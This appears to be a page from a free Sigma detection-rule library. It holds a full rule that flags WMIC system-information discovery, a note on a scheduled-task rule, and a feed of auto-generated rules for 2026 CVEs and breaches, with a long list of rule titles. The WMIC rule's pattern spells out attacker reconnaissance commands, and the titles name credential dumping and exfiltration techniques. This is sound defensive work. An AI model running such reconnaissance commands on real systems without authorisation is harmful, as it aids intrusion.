Note: This rule leverages `DeviceProcessEvents` to look for `schtasks.exe /create` commands that contain suspicious keywords often associated with malicious activity or common attacker tools. False positives can occur from legitimate system administration or software installations. Exclude known administrative scripts, specific users, or parent processes that routinely create scheduled tasks. Focus on tasks created in unusual directories or by non-service accounts. Ensure endpoint detection and response (EDR) data (like Microsoft Defender for Endpoint, which feeds DeviceProcessEvents) is collected.

System Information Discovery via WMIC

T1082 — System Information Discovery

Detects the use of `wmic.exe` to query system information. Attackers frequently use WMIC to gather details about the compromised system, including hardware, software, user accounts, and network configurations, as part of their reconnaissance phase.

medium Sigma

discoverywindowswmicreconnaissanceliving-off-the-land

logsource:
  product: windows
  service: sysmon
  category: process_creation
detection:
  selection:
    Image|endswith: '\wmic.exe'
    CommandLine|contains:
      - 'computersystem get'
      - 'os get'
      - 'qfe get'
      - 'product get'
      - 'process get'
      - 'useraccount get'
      - 'group get'
      - 'nicconfig get'
      - 'logicaldisk get'
      - 'service get'
      - 'shadowcopy get'
      - 'path get'
  condition: selection

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from Keycloak Session Fixation Flaw Allows Account Takeover (C...

high CVSS 7.5/10 Sigma NVD May 19, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 3 more rules via /detect

T1190 — Initial Access

Auto-generated from CVE-2020-37228: iDS6 DSSPro Digital Signage CAPTCHA Bypass

critical CVSS 9.8/10 Sigma NVD May 16, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

T1190 — Initial Access

Auto-generated from CVE-2026-44714: bitcoinj Library Flaw Allows Arbitrary P2...

high CVSS 7.5/10 Sigma NVD May 15, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

🌐 NVD

T1499 — Impact

Auto-generated from GitLab CVE-2026-1659: Unauthenticated DoS Risk Patched

high CVSS 7.5/10 Sigma NVD May 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🌐 NVD

T1071.004 — Command and Control

Auto-generated from Netty DNS Codec Vulnerability (CVE-2026-42579) Exposes Sy...

critical CVSS 7.5/10 Sigma NVD May 13, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

T1499 — Impact

Auto-generated from Adobe Commerce DoS Vulnerability (CVE-2026-34649) Puts E-...

high CVSS 7.5/10 Sigma NVD May 12, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

🌐 NVD

T1200 — Discovery

Auto-generated from CVE-2026-27662: Control Panel Exposes Web Browser, High S...

high CVSS 7.7/10 Sigma NVD May 12, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from WordPress MStore API Critical RCE: Unauthenticated File U...

critical CVSS 9.8/10 Sigma NVD May 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

T1499 — Impact

Auto-generated from CVE-2025-71256: nr Modem DoS Vulnerability Poses High Risk

high CVSS 7.5/10 Sigma NVD May 06, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from D-Link DI-8100 Router Vulnerable to Remote Buffer Overflo...

high CVSS 7.2/10 Sigma NVD May 05, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Auto-generated from Android Critical RCE Vulnerability Patched in System Comp...

critical Sigma May 05, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from CVE-2026-32834: WordPress Easy PayPal Plugin Authenticati...

critical CVSS 7.5/10 Sigma NVD May 04, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

Breach Intel

vulnerability — event-type

Auto-generated from MOVEit Automation Critical Auth Bypass Flaw Requires Imme...

high Sigma May 04, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Kaikatsu Club Data Breach - Large Data Extraction

Breach Intel

T1119 — Collection

Auto-generated from Kaikatsu Club Breach: 17-Year-Old Exposes 7 Million Users...

critical Sigma May 04, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Linux Copy Fail Privilege Escalation

Breach Intel

T1068 — Privilege Escalation

Auto-generated from CISA Warns: 'Copy Fail' Linux Root Vulnerability Actively...

critical Sigma May 04, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from Acrel Electrical ECEMS SQLi (CVE-2026-7694) Exposes Micro...

critical CVSS 7.3/10 Sigma NVD May 03, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

CVE-2026-7685 - Edimax BR-6208AC setWAN Buffer Overflow

🌐 NVD

T1190 — Initial Access

Auto-generated from Edimax BR-6208AC Buffer Overflow: Remote Exploit Public (...

critical CVSS 8.8/10 Sigma NVD May 03, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🌐 NVD

T1552.001 — Credential Access

Auto-generated from Argo CD CVE-2026-43824: Critical Kubernetes Secret Disclo...

critical CVSS 7.7/10 Sigma NVD May 02, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

T1190 — Initial Access

Auto-generated from GnuTLS Vulnerability CVE-2026-33845: Underflow Leads to R...

critical CVSS 7.5/10 Sigma NVD Apr 30, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Breach Intel

T1566.002 — Initial Access

Auto-generated from US, China Partner on Dubai Scam Center Takedown

critical Sigma Apr 29, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1595.002 — Reconnaissance

Auto-generated from CVE-2026-42363: GeoVision GV-IP Device Utility Critical C...

critical CVSS 9.3/10 Sigma NVD Apr 27, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from Tenda F456 Buffer Overflow (CVE-2026-7031) Publicly Explo...

critical CVSS 8.8/10 Sigma NVD Apr 26, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

🌐 NVD

T1499 — Impact

Auto-generated from Delta Electronics AS320T Plagued by Critical DoS Vulnerab...

critical CVSS 9.8/10 Sigma NVD Apr 24, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

T1190 — Initial Access

Auto-generated from Nimiq Primitives Node Panic via Malformed BLS Key

high CVSS 7.5/10 Sigma NVD Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Nimiq network-libp2p Crash Vulnerability (CVE-2026-34063)

🌐 NVD

T1499 — Impact

Auto-generated from Nimiq network-libp2p Crash Vulnerability: CVE-2026-34063

critical CVSS 7.5/10 Sigma NVD Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Nimiq SkipBlockProof Verification with Out-of-Range Indices - CVE-2026-33471

🌐 NVD

T1190 — Initial Access

Auto-generated from Critical Nimiq Block Vulnerability: SkipBlockProof Bypass

critical CVSS 9.6/10 Sigma NVD Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from NVD Flags High-Severity Vulnerability: Bind Backend Confi...

high CVSS 7.4/10 Sigma NVD Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

CVE-2026-33593 - DNSCrypt Crafted Query Denial of Service

🌐 NVD

T1190 — Initial Access

Auto-generated from DNSCrypt Vulnerability Allows Remote Crash via Crafted Qu...

high CVSS 7.5/10 Sigma NVD Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

CVE-2026-6857 - Unsafe Deserialization via ProtoStream Remote Aggregation

🌐 NVD

T1505.003 — Initial Access

Auto-generated from Critical Deserialization Flaw in camel-infinispan Allows RCE

critical CVSS 7.5/10 Sigma NVD Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

InstructLab Path Traversal - Suspicious Logs Directory Manipulation - CVE-2026-6855

🌐 NVD

T1574.002 — Persistence

Auto-generated from InstructLab Path Traversal Flaw Exposes Local File System

high CVSS 7.1/10 Sigma NVD Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Supply Chain Compromise: Malicious xinference Library Installation

Breach Intel

T1190 — Initial Access

Auto-generated from Python Library xinference Compromised, TeamPCP Denies Inv...

critical Sigma Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

npm Supply Chain Attack - Malicious Package Publish

Breach Intel

T1190 — Initial Access

Auto-generated from New npm Supply Chain Attack Steals Developer Auth Tokens

critical Sigma Apr 22, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1538 — Exfiltration

Auto-generated from Kyverno Policy Engine Flaw Leaks Service Account Tokens

high CVSS 8.1/10 Sigma NVD Apr 21, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Breach Intel

T1190 — Initial Access

Auto-generated from Unsecured Perforce Servers Leak Sensitive Data from Major...

critical Sigma Apr 21, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from OpenClaw SSRF Vulnerability Exposes Internal Resources

high CVSS 7.6/10 Sigma NVD Apr 21, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🌐 NVD

T1190 — Initial Access

Auto-generated from Tenda Router Vulnerability Exposes Networks to Remote Exp...

high CVSS 8.8/10 Sigma NVD Apr 20, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

vulnerability — event-type

Auto-generated from Firebird Client Flaw Leaks Data with Newer Servers

high CVSS 7.9/10 Sigma NVD Apr 17, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Web Shell Activity Detection — CVE-2026-40518

🌐 NVD

T1505.003 — Persistence

Auto-generated from ByteDance DeerFlow Path Traversal Allows Arbitrary File W...

high CVSS 7.1/10 Sigma NVD Apr 17, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 3 more rules via /detect

Web Application Exploitation Attempt — CVE-2026-40516

🌐 NVD

T1190 — Initial Access

Auto-generated from OpenHarness SSRF Exposes Private Services, Cloud Metadata

high CVSS 8.3/10 Sigma NVD Apr 17, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 3 more rules via /detect

Web Application Exploitation Attempt — CVE-2026-3464

🌐 NVD

T1190 — Initial Access

Auto-generated from WP Customer Area Plugin: Arbitrary File Read/Delete Expos...

high CVSS 8.8/10 Sigma NVD Apr 17, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Breach Intel

T1190 — Initial Access

Auto-generated from CVE-2023-33538: Mirai Botnet Targets TP-Link Routers

critical Sigma Apr 17, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Breach Intel

T1190 — Initial Access

Auto-generated from Obsidian Plugin Abuse Unleashes Novel PHANTOMPULSE RAT

critical Sigma Apr 16, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

T1190 — Initial Access

Auto-generated from Microsoft Power Apps Flaw: Critical Remote Attack Vector ...

high CVSS 9/10 Sigma NVD Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Exploitation Attempt — Microsoft

Breach Intel

vulnerability — event-type

Auto-generated from Microsoft Patches SharePoint Zero-Day, 160 Vulnerabilities

high Sigma Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Monitor Authentication from Breached Vendor — McGraw-Hill

Breach Intel

data-breach — event-type

Auto-generated from McGraw-Hill Confirms Breach via Salesforce Misconfig

high Sigma Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

Exploitation Attempt — CVE-XXXX-XXXXX

Breach Intel

vulnerability — event-type

Auto-generated from Windows 11 Gets Security Boost with Latest Cumulative Upd...

high Sigma Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Exploitation Attempt — SAP

Breach Intel

vulnerability — event-type

Auto-generated from SAP Patches Critical SQLi and High-Severity ERP Flaws

high Sigma Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Web Application Exploitation Attempt — CVE-2026-39815

🌐 NVD

T1190 — Initial Access

Auto-generated from Fortinet FortiDDoS-F SQLi: High-Severity RCE Risk

high CVSS 8.8/10 Sigma NVD Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 3 more rules via /detect

Web Application Exploitation Attempt — CVE-2026-32201 — Microsoft SharePoint Se

Breach Intel

T1190 — Initial Access

Auto-generated from CVE-2026-32201 — Microsoft SharePoint Server: Microsoft S...

high Sigma Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Click on Phishing Link from CVE-2009-0238 — Microsoft Office: Micros Domain

Breach Intel

T1566.002 — Initial Access

Auto-generated from CVE-2009-0238 — Microsoft Office: Microsoft Office Remote...

medium Sigma Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Web Application Exploitation Attempt — SAP

Breach Intel

T1190 — Initial Access

Auto-generated from SAP Patches Critical ABAP Vulnerability

high Sigma Apr 14, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Auto-generated from Adobe Reader Zero-Day Exploited in the Wild: Patch Urgently

high Sigma Apr 13, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Web Application Exploitation Attempt — CVE-2026-21643

Breach Intel

T1190 — Initial Access

Auto-generated from CVE-2026-21643 — Fortinet FortiClient EMS: Fortinet SQL I...

high Sigma Apr 13, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 3 more rules via /detect

Web Application Exploitation Attempt — CVE-2023-21529

Breach Intel

T1190 — Initial Access

Auto-generated from CVE-2023-21529 — Microsoft Exchange Server: Microsoft Exc...

high Sigma Apr 13, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 3 more rules via /detect

Auto-generated from AirSnitch: Guest Network Isolation is a Myth

high Sigma Apr 11, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Breach Intel

ransomware — event-type

Auto-generated from Alamo Heights ISD Stays Silent on Ransom Payment Post-Mal...

critical Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 1 more rules via /detect

Breach Intel

vulnerability — event-type

Auto-generated from Human-Scale Security Broken: 1 Billion Records Reveal Exp...

high Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Exploitation Attempt — Juniper Networks

Breach Intel

vulnerability — event-type

Auto-generated from Juniper Patches Critical Junos OS Vulnerabilities

high Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Exploitation Attempt — Orthanc

Breach Intel

vulnerability — event-type

Auto-generated from Orthanc DICOM Flaws Expose Medical Systems to Crashes and...

high Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Web Application Exploitation Attempt — Synology

Breach Intel

T1190 — Initial Access

Auto-generated from Synology VPN Client Flaw Exposes User PINs

high Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Exploitation Attempt — EngageLab

Breach Intel

vulnerability — event-type

Auto-generated from EngageLab SDK Bug Exposes 50M Android Users' Private Data

high Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Drive-by Download via Browser — OpenStack

Breach Intel

T1189 — Initial Access

Auto-generated from OpenStack Skyline Vulnerable to DOM-Based XSS

medium Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Web Application Exploitation Attempt — CVE-2026-22750

Breach Intel

T1190 — Initial Access

Auto-generated from CVE-2026-22750 — When configuring SSL bundles in Spring C...

high Sigma Apr 10, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Breach Intel

T1539 — Credential Access

Auto-generated from Lollms Session Hijacking Flaw: Password Resets Don't Cut It

high Sigma Apr 08, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Web Application Exploitation Attempt — CVE-2026-3499

Breach Intel

T1190 — Initial Access

Auto-generated from WooCommerce Plugin Vulnerable to CSRF Attacks

high Sigma Apr 08, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Web Application Exploitation Attempt — CVE-2026-28390

Breach Intel

T1190 — Initial Access

Auto-generated from OpenSSL Vulnerability: Null Pointer Dereference Leads to DoS

high Sigma Apr 08, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

🇮🇱 INCD Intel

T1190 — Initial Access

Auto-generated from Critical Rockwell Controller Flaw Exploited in Global Att...

high Sigma INCD Mar 11, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

🛡️ 2 more rules via /detect

Exploitation Attempt — Cloud Resilience Data Loss

🇮🇱 INCD Intel

T1485 — Impact

Auto-generated from Cloud Resilience Isn't Backup: INCD Warns Against Data Lo...

high Sigma INCD Mar 11, 2026

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Detection Vault — Free Sigma Detection Rules

RULES Detection Rules

Suspicious PowerShell Download Cradle

LSASS Memory Access — Credential Dumping

Credential Dumping – SAM Registry Hive Export

AMSI Bypass Detected

Lateral Movement – SMB Admin Share Access

New Service Created via sc.exe

Persistence – Scheduled Task via schtasks

Persistence – Startup Folder Modification

Privilege Escalation – Token Manipulation

Privilege Escalation – UAC Bypass

Ransomware – Shadow Copy Deletion

C2 – Cobalt Strike Default Pipe Names

Discovery – AD Domain Enumeration via net.exe

Execution – Certutil Download

Brute Force – Failed Logons Spike

Password Spray – Distributed Failed Logons

Brute Force – SSH Failed Auth Spike

Azure AD Impossible Travel

Credential Dumping – LSASS Access

Kerberoasting – Anomalous TGS Requests

DCSync – Replication Rights Abuse

MFA Fatigue – Repeated Push Notifications

Suspicious PowerShell Execution

Defense Evasion – Disable Windows Defender

Security Log Cleared

Timestomping – File Time Attribute Modification

Lateral Movement – PsExec Remote Execution

Lateral Movement – RDP from Unusual Source

Lateral Movement – WMI Remote Execution

Lateral Movement – Pass-the-Hash

Persistence – Registry Run Key Modification

Persistence – WMI Event Subscription

Privilege Escalation – Sudo to Root (Linux)

New Local Admin Created

Outbound Data Transfer Spike

DNS Tunneling – Anomalous Query Volume

Exfiltration to Cloud Storage

Email Exfiltration – Mass Forward Rule

Ransomware – Mass File Encryption Pattern

Phishing – OAuth Consent Grant Attack

Phishing – Suspicious Email Attachment Execution

Cloud – S3 Bucket Made Public

Cloud – New IAM User Created with Admin

Cloud – Azure AD Conditional Access Disabled

Cloud – GCP Firewall Rule Opened to World

Cloud – AWS Root Account Used

C2 – Network Beaconing Pattern

C2 – Tor Network Connection

Initial Access – Exposed RDP to Internet

Initial Access – VPN Login from Unusual Country

Discovery – BloodHound/SharpHound Execution

Discovery – Mass Internal Port Scanning

Execution – MSHTA Abuse

Execution – DLL Side-Loading

Impact – Mass Account Lockout

Impact – Mass File Deletion

LSASS Process Memory Dump Attempt

Security Service Disable Attempt

Outbound Connection to Public Text Sharing Service

Suspicious Scheduled Task Creation

System Information Discovery via WMIC

CVE-2026-40165: SAML NameID XML Comment Injection in authentik

CVE-2026-40092: Nimiq Node Crash via Malformed Kademlia DHT Record

Web Application Exploitation Attempt — CVE-2026-9141

CVE-2026-9139 Taiko AG1000-01A Hardcoded Credentials Exposure

CVE-2026-9126 Google Chrome Use-After-Free RCE Attempt

CVE-2026-9120 - Google Chrome WebRTC Use-After-Free RCE

Web Application Exploitation Attempt — CVE-2026-9119

Web Application Exploitation Attempt — CVE-2026-9114

Web Application Exploitation Attempt — CVE-2026-9112

CVE-2026-9111 - Google Chrome WebRTC Use-After-Free RCE

CVE-2026-45444: Unrestricted File Upload in Gift Cards for WooCommerce Pro

CVE-2026-39310 - Trilium Notes Unauthenticated Clipper API Access

CVE-2026-24188 - NVIDIA TensorRT Out-of-Bounds Write

C2 Beacon Detection — HTTP to Suspicious Domain

CVE-2026-7613 - PixelYourSite Stored XSS via csvdata parameter

CVE-2026-20223: Unauthenticated Cisco Secure Workload REST API Access

Web Application Exploitation Attempt — CVE-2026-8598